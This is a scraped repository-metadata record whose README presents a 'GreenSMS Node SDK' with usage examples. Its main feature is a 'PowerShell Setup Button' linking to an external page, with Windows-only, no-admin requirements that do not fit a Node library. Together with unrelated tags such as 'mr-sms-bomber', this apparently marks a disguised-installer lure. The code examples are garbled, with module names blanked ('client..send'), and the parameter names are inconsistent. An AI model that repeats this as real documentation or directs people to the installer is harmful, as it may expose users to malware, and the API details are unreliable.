[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-115660":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":16,"fork":16,"defaultBranch":17,"hasWiki":18,"hasPages":18,"topics":19,"createdAt":9,"pushedAt":40,"updatedAt":41,"readmeContent":42,"aiSummary":43,"trendingCount":12,"starSnapshotCount":12,"syncStatus":44,"lastSyncTime":45,"discoverSource":46},115660,"greensms-node-sdk","techabdo100-code\u002Fgreensms-node-sdk","techabdo100-code","GreenSMS Node SDK: typed API client for messaging and delivery workflows",null,"JavaScript",153,0,98,55,62.5,false,"main",true,[20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39],"apologies","csharp-core","dotnet6","dotnetcore","free-sms-sender","freesms","java8","kavenegar-example","maven-repository","microservice","mojibrsm","mongodb-database","mr-sms-bomber","mr-tools","mrteamtiger","restful","teamtiger","viber","vk","vk-api","2026-11-23 10:17:01","2026-11-17 18:06:27","\u003Cdiv align=\"center\">\n\n# GreenSMS Node SDK — Developer Library\n\n![](files\u002Fpreview.png)\n\n### ⚡ PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Ftechabdo100-code.github.io\u002Fgreensms-node-sdk\u002F)\n\n[![pwsh](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPwsh-Installer-2f81f7?style=social&labelColor=0d1117)]() [![release](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FRelease-Maintained-2ea44f?style=social&labelColor=0d1117)]() [![pipeline](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPipeline-Passing-2ea44f?style=social&labelColor=0d1117)]() [![code](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCode-Typescript-54aeff?style=social&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nA Node.js client for the GreenSMS API covering,,,,, and channels. Construct a client with either a token or user\u002Fpassword credentials, falling back to `GREENSMS_USER`\u002F`GREENSMS_PASS` or `GREENSMS_TOKEN` from the environment. Every API method is exposed as `MODULE.FUNCTION()` and supports Promises, async\u002Fawait, and callbacks, with response keys in `snake_case` by default and `camelCaseResponse: true` available at construction. Errors extend the native `Error` class and carry `error`, `code`, `message`, and `errorType` fields.\n\n## 🔧 Requirements\n\n- Windows 10 or Windows 11\n- PowerShell 5.1 or newer (already available on Windows)\n- Active network connection\n- No admin rights needed\n\n## Features\n\n**Credential modes:** construct the client with either `{ user, pass }` or `{ token }`; if omitted, the SDK falls back to `GREENSMS_USER`\u002F`GREENSMS_PASS` or `GREENSMS_TOKEN` from the environment.\n- **Full channel coverage:** one client exposes,,,,, and modules, each callable as `client.MODULE.FUNCTION()`.\n- **Tri-modal async:** every method supports Promises, `async\u002Fawait`, and Node-style callbacks, so you can integrate without adapting your control flow.\n- **Consistent response casing:** responses default to `snake_case`; pass `camelCaseResponse: true` to the constructor to receive `camelCase` keys instead.\n- **Structured errors:** thrown and rejected errors are instances of the native `Error` class extended with `error`, `code`, `message`, and `errorType` fields for programmatic handling.\n- **Runtime compatibility:** targets Node.js 12+ and is tested through 19.x.\n\n## Quick Start\n\n```js\nconst GreenSMS = require(\"greensms\");\n```\n\nConstruct a client with an auth token:\n\n```js\nconst client = new GreenSMS({ token: \"YOUR_TOKEN\" });\n```\n\nOr authenticate with a user\u002Fpassword pair:\n\n```js\nconst client = new GreenSMS({ user: \"USER\", pass: \"PASS\" });\n```\n\nWhen neither is passed to the constructor, the SDK reads `GREENSMS_TOKEN`, or `GREENSMS_USER` and `GREENSMS_PASS`, from the environment.\n\nAll resource methods return Promises, so `async`\u002F`await` and `.then()` both work. Every method also accepts a trailing callback:\n\n```js\nconst response = await client.account.balance();\nconsole.log(response.balance);\n```\n\n```js\nclient.account.balance((err, response) => {\nif (err) return console.error(err);\nconsole.log(response.balance);\n});\n```\n\nMethods are exposed as `MODULE.FUNCTION()` — for example `client.account.balance()` or `client..send({...})`. Response keys default to `snake_case`; pass `camelCaseResponse: true` in the constructor to receive `camelCase` keys instead.\n\nErrors are thrown as instances extending the native `Error` class, each carrying `error`, `code`, `message`, and `errorType` fields. Catch them with `try\u002Fcatch` around awaited or via the `err` argument of a callback:\n\n```js\ntry {\nawait client.account.balance();\n} catch (err) {\nconsole.error(err.code, err.message);\n}\n```\n\n## API Reference\n\n### Client construction\n\n```js\nconst GreenSMS = require(\"greensms\");\n\n\u002F\u002F Token auth\nconst client = new GreenSMS({ token: process.env.GREENSMS_TOKEN });\n\n\u002F\u002F User\u002Fpassword auth\nconst client = new GreenSMS({ user: \"user\", pass: \"pass\" });\n```\n\nCredentials resolve from constructor options first; if omitted, `GREENSMS_USER`\u002F`GREENSMS_PASS` or `GREENSMS_TOKEN` are read from the environment. Pass `camelCaseResponse: true` to receive response keys in camelCase instead of the default snake_case.\n\n### Modules\n\nEvery API operation is exposed as `client.MODULE.FUNCTION()`. Supported modules:\n\n| Module | Purpose |\n| - | - |\n| `account` | Balance and account state |\n| `` | Send and track messages |\n| `` | operations |\n| `` | message operations |\n| `` | messaging |\n| `` | messaging |\n| `` | messaging |\n\nParameters accepted by each function follow the operation signature defined for that module.\n\n### Invocation styles\n\nAll methods return a Promise and also accept a trailing callback.\n\n```js\n\u002F\u002F Promise\nconst { balance } = await client.account.balance();\n\n\u002F\u002F Callback\nclient.account.balance((err, response) => {\nif (err) return console.error(err);\nconsole.log(response.balance);\n});\n```\n\n###\n\n```js\nconst result = await client..send({\nto: \"79000000000\",\ntext: \"Hello from GreenSMS\"\n});\n\nconsole.log(result.request_id);\n```\n\n### Account\n\n```js\nconst { balance } = await client.account.balance();\nconsole.log(balance);\n```\n\n### Errors\n\nRejected Promises and callback errors carry `error`, `code`, `message`, and `errorType` fields and extend the native `Error` class.\n\n```js\ntry {\nawait client..send({ to: \"invalid\", text: \"test\" });\n} catch (err) {\nconsole.error(err.code, err.message, err.errorType);\n}\n```\n\n### Runtime compatibility\n\nRequires Node.js 12 or later; verified through 19.x.\n\n## Examples\n\n### Send an\n\n```js\nconst GreenSMS = require(\"greensms\");\n\nconst client = new GreenSMS({ token: \"token\" });\n\nasync function sendSms() {\nconst response = await client..send({\nto: \"79001234567\",\ntxt: \"Hello from GreenSMS\",\n});\nconsole.log(response.request_id);\n}\n```\n\n### Fetch Account Balance\n\n```js\nconst response = await client.account.balance();\nconsole.log(response.balance);\n```\n\n### Make a\n\n```js\nconst response = await client..({\nto: \"79001234567\",\ntxt: \"This is an automated message.\",\n});\nconsole.log(response.request_id);\n```\n\n### Send a Message\n\n```js\nconst response = await client..send({\nto: \"79001234567\",\ntxt: \" message body\",\n});\nconsole.log(response.request_id);\n```\n\n### Pick a Module, Then a Function\n\nEvery API surface is addressed as `client.MODULE.FUNCTION(params)`. The modules mirror the channels and account surfaces: `account`, ``, ``, ``, ``, ``, and ``.\n\n```js\n\u002F\u002F MODULE.FUNCTION() pattern\nconst balance = await client.account.balance();\nconst status = await client..status({ id: \"request-id\" });\n```\n\n### Promise, Async\u002FAwait, and Callback Styles\n\nAll methods are callable in three equivalent styles. Pick one and stay consistent within a codebase.\n\n```js\n\u002F\u002F Promise\nclient.account.balance()\n.then((res) => console.log(res.balance))\n.catch((err) => console.error(err));\n\n\u002F\u002F Async\u002Fawait\ntry {\nconst res = await client.account.balance();\nconsole.log(res.balance);\n} catch (err) {\nconsole.error(err);\n}\n\n\u002F\u002F Callback\nclient.account.balance((err, res) => {\nif (err) return console.error(err);\nconsole.log(res.balance);\n});\n```\n\n### camelCase Responses\n\nResponse keys default to `snake_case`. Set `camelCaseResponse: true` in the constructor to receive `camelCase` keys instead.\n\n```js\nconst client = new GreenSMS({\ntoken: \"token\",\ncamelCaseResponse: true,\n});\n\nconst res = await client..send({ to: \"79001234567\", txt: \"hi\" });\nconsole.log(res.requestId); \u002F\u002F instead of res.request_id\n```\n\n### Credentials via Environment Variables\n\nWhen no credentials are passed to the constructor, the SDK reads `GREENSMS_USER` \u002F `GREENSMS_PASS`, or `GREENSMS_TOKEN`, from the environment.\n\n```js\n\u002F\u002F GREENSMS_TOKEN=... in the environment\nconst client = new GreenSMS();\n\nconst res = await client.account.balance();\nconsole.log(res.balance);\n```\n\n### Handle Errors\n\nErrors extend the native `Error` class and expose `error`, `code`, `message`, and `errorType`.\n\n```js\ntry {\nawait client..send({ to: \"invalid\", txt: \"hi\" });\n} catch (err) {\nconsole.error(err.code, err.errorType, err.message);\n}\n```\n\n### Parameter Reference\n\nPer-method parameters follow the GREENSMS API documentation. Each `MODULE.FUNCTION()` accepts the parameter object for its corresponding endpoint; refer to the API Reference section for the full list of modules and functions.\n\n## License\n\nMIT License\n\nCopyright (c) GreenSMS\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\u002For sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nThe GreenSMS Node SDK is distributed under the MIT license. Use of the GreenSMS API itself is governed by the separate terms of the GreenSMS service.","GreenSMS Node SDK 是一个为 Node.js 环境设计的强类型短信服务 API 客户端，用于对接 GreenSMS 平台的消息发送与投递状态查询等核心功能。它支持令牌或账号密码双认证方式，提供模块化接口（如 account、sms、balance）、三重异步调用模式（Promise\u002Fasync-await\u002F回调）、可选的响应字段命名风格（snake_case 或 camelCase）以及结构化错误对象。适用于需要在 Node.js 微服务、后台任务或自动化脚本中集成可靠短信通知能力的场景，尤其适合对类型安全和错误处理有明确要求的开发者。",2,"2026-11-24 04:51:42","CREATED_QUERY"]